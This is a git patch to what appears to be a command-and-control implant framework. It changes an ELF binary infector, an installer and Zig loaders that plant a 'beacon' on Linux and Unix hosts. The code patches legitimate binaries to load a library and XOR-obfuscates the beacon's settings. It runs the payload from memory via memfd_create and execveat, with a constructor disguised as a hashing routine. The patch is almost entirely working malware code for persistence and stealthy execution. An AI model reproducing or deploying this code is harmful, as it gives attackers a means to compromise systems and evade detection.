From cd2890ee360fb588cc5e0d95e27fa8a2ca2e2baa Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Wed, 5 Feb 2025 16:53:11 -0500 Subject: [PATCH] feat: got unix-beacon tested on Linux --- Cargo.lock | 1 + sparse-unix-infector/src/lib.rs | 42 ++++++++++++++++++++++--------- sparse-unix-installer/Cargo.toml | 1 + sparse-unix-installer/src/main.rs | 15 ++++++++--- unix-loader/src/libloader.zig | 41 ++++++++++++++++++------------ unix-loader/src/loader.zig | 31 ++++++++++------------- 6 files changed, 82 insertions(+), 49 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index d4f0666..cb7e189 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3267,6 +3267,7 @@ dependencies = [ name = "sparse-unix-installer" version = "2.0.0" dependencies = [ + "hex", "rand 0.9.0", "sparse-actions", "sparse-unix-infector", diff --git a/sparse-unix-infector/src/lib.rs b/sparse-unix-infector/src/lib.rs index 18edb66..15db01c 100644 --- a/sparse-unix-infector/src/lib.rs +++ b/sparse-unix-infector/src/lib.rs @@ -4,7 +4,7 @@ use std::{ slice, }; -use sparse_actions::payload_types::Parameters; +use sparse_actions::payload_types::{Parameters, XOR_KEY}; mod elf_types; use elf_types::*; @@ -21,19 +21,41 @@ pub const SPARSE_LIBRARY: &'static [u8] = pub fn infect_elf_binary( binary_path: BP, target_library_path: LP, - sparse_parameters: &Parameters, + mut sparse_parameters: Vec, ) -> Result<(), Error> where BP: AsRef, LP: AsRef, { - std::fs::write(&target_library_path, SPARSE_LIBRARY)?; + let mut sparse_library = SPARSE_LIBRARY.to_vec(); + + for b in sparse_parameters.iter_mut() { + *b = *b ^ (XOR_KEY as u8); + } + + for i in 0..(sparse_library.len() - sparse_parameters.len()) { + if sparse_library[i..(i+256)] == *b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" { + sparse_library[i..(i+256)].copy_from_slice(&vec![0; 256]); + let tlp = target_library_path + .as_ref() + .to_str() + .expect("invalid path provided for library") + .to_owned(); + sparse_library[i..(i+tlp.len())].copy_from_slice(tlp.as_bytes()); + } + if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] { + sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters); + } + } + + std::fs::write(&target_library_path, sparse_library)?; let mut binary = std::fs::OpenOptions::new() .read(true) .write(true) .truncate(false) - .open(&binary_path)?; + .open(&binary_path) + .expect("Could not open binary path for infecting"); binary.seek(SeekFrom::End(0))?; let end = binary.stream_position()?; @@ -49,7 +71,7 @@ where }; if let ElfIsa::Amd64 = isa { - infect_64bit_elf_binary(target_library_path, binary, binary_data, sparse_parameters)?; + infect_64bit_elf_binary(target_library_path, binary, binary_data)?; #[cfg(target_os = "linux")] { @@ -94,8 +116,11 @@ where .expect("could not convert binary path to string"), ) .expect("could not convert binary path to string"); + let current_caps = cap_get_file(path.as_ptr()); + println!("Result of getting caps: {}", errno::errno()); + println!( "Result of setting effective caps: {} (errno: {})", cap_set_flag( @@ -153,7 +178,6 @@ fn infect_64bit_elf_binary( library_path: LP, mut binary: F, mut binary_data: Vec, - sparse_parameters: &Parameters, ) -> Result<(), Error> where LP: AsRef, @@ -335,11 +359,5 @@ where binary.seek(SeekFrom::Start(0))?; binary.write(&binary_data)?; - let param_data = &sparse_parameters as *const _ as *const u8; - let param_slice = - unsafe { slice::from_raw_parts(param_data, std::mem::size_of::()) }; - - binary.write(param_slice)?; - Ok(()) } diff --git a/sparse-unix-installer/Cargo.toml b/sparse-unix-installer/Cargo.toml index 81a7589..6114ce8 100644 --- a/sparse-unix-installer/Cargo.toml +++ b/sparse-unix-installer/Cargo.toml @@ -4,6 +4,7 @@ edition = "2024" version.workspace = true [dependencies] +hex = "0.4.3" rand = "0.9.0" sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" } diff --git a/sparse-unix-installer/src/main.rs b/sparse-unix-installer/src/main.rs index dc5129a..19c9adc 100644 --- a/sparse-unix-installer/src/main.rs +++ b/sparse-unix-installer/src/main.rs @@ -52,10 +52,10 @@ fn main() -> Result<(), Error> { installer_file.seek(SeekFrom::End(-parameters_size))?; let mut parameters_buffer = Vec::with_capacity(parameters_size as usize); - installer_file.read(&mut parameters_buffer)?; + installer_file.read_to_end(&mut parameters_buffer)?; for b in parameters_buffer.iter_mut() { - *b = *b & (XOR_KEY as u8); + *b = *b ^ (XOR_KEY as u8); } let parameters: &mut Parameters = @@ -66,6 +66,11 @@ fn main() -> Result<(), Error> { .try_fill_bytes(&mut identifier) .expect("Could not generate beacon identifier"); + let hex_ident = hex::encode(&identifier); + parameters + .beacon_identifier + .copy_from_slice(&hex_ident.as_bytes()); + let beacon_name = opts.binary_name.as_bytes(); parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]); parameters.beacon_name_length = beacon_name.len() as u16; @@ -73,5 +78,9 @@ fn main() -> Result<(), Error> { parameters.delay_seconds_min = opts.delay_seconds_minimum; parameters.delay_seconds_max = opts.delay_seconds_minimum; - infect_elf_binary(opts.binary, opts.library_path, parameters) + std::fs::write("./debug.params-pre", ¶meters_buffer)?; + + infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?; + + Ok(()) } diff --git a/unix-loader/src/libloader.zig b/unix-loader/src/libloader.zig index e3d2362..e008034 100644 --- a/unix-loader/src/libloader.zig +++ b/unix-loader/src/libloader.zig @@ -4,9 +4,10 @@ const posix = std.posix; const beacon = @embedFile("beacon"); -const Parameters = @cImport({ +const abi = @cImport({ @cInclude("abi.h"); -}).Parameters; +}); +const Parameters = abi.Parameters; const config = @import("config"); @@ -14,7 +15,7 @@ fn open_temp() !std.fs.File { switch (builtin.os.tag) { .linux => { const fd = try posix.memfd_create("", 0); - return std.fs.File{ .handle = fd }; + return std.fs.File{ .handle = @intCast(fd) }; }, else => { return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 }); @@ -41,21 +42,35 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void { const file_path = switch (builtin.os.tag) { .linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}), - else => "/tmp/libcryptoint", + else => try std.fmt.allocPrint(alloc, "/dev/fd/{d}", .{exe_file.handle}), }; - exe_file.close(); + const key = (abi.XOR_KEY << 8) | abi.XOR_KEY; + const beacon_name_length: usize = @intCast(parameters.beacon_name_length ^ key); + + const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..beacon_name_length]); + + var i: u16 = 0; + while (i < beacon_name_length) : (i += 1) { + beacon_name[i] ^= @intCast(abi.XOR_KEY); + } - const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]); const file_path_ptr = try alloc.dupeZ(u8, file_path); const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null }; const envp: [*:null]const ?[*:0]const u8 = &.{null}; - switch (posix.execveZ(file_path_ptr, argv, envp)) { - else => |e| { - if (builtin.mode == .Debug) { - std.debug.print("Internal error performing hash! {s}\n", .{@errorName(e)}); + switch (builtin.os.tag) { + .linux => { + _ = std.os.linux.syscall5(.execveat, @intCast(exe_file.handle), @intFromPtr(""), @intFromPtr(argv), @intFromPtr(envp), 0x1000); + }, + else => { + switch (posix.execveZ(file_path_ptr, argv, envp)) { + else => |e| { + if (builtin.mode == .Debug) { + std.debug.print("Internal error performing hash! {s}\n", .{@errorName(e)}); + } + }, } }, } @@ -81,12 +96,6 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void { if (pid == 0) { if (try posix.fork() == 0) { try exec_beacon(gzipped_exe, parameters); - } else if (builtin.os.tag != .linux) { - const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0); - - _ = std.c.sem_wait(sem); - - posix.unlink("/tmp/libcryptoint") catch {}; } posix.exit(0); } else { diff --git a/unix-loader/src/loader.zig b/unix-loader/src/loader.zig index 564afa7..5149245 100644 --- a/unix-loader/src/loader.zig +++ b/unix-loader/src/loader.zig @@ -5,32 +5,27 @@ const Parameters = @cImport({ @cInclude("abi.h"); }).Parameters; -extern fn hash_internals(parameters: *Parameters) void; +extern fn hash_internals(parameters: *const Parameters) void; -var file_parameters: Parameters = undefined; +const file_parameters: [@sizeOf(Parameters) / 2]u16 = blk: { + var arr: [@sizeOf(Parameters) / 2]u16 = undefined; + for (&arr) |*item| { + item.* = ('B' << 8) | 'B'; + } + break :blk arr; +}; -fn fill_parameters() !void { - const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{}); +const file_with_params: *const [256:0]u8 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; - try this_file.seekFromEnd(@sizeOf(Parameters)); - - var param_buffer: [@sizeOf(Parameters)]u8 = undefined; - _ = try this_file.reader().read(¶m_buffer); - - @memcpy(@as([*]u8, @ptrCast(&file_parameters)), ¶m_buffer); +fn get_parameters() *const Parameters { + return @as(*const Parameters, @ptrCast(&file_parameters)); } export fn calculate_hash() callconv(.C) void { if (dbg) { - std.io.getStdOut().writeAll("Loaded!") catch {}; + std.io.getStdOut().writeAll("Loaded!\n") catch {}; } - fill_parameters() catch |err| { - if (dbg) { - std.debug.print("Error calculating hash! {any}", .{err}); - } - return; - }; - hash_internals(&file_parameters); + hash_internals(get_parameters()); } export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};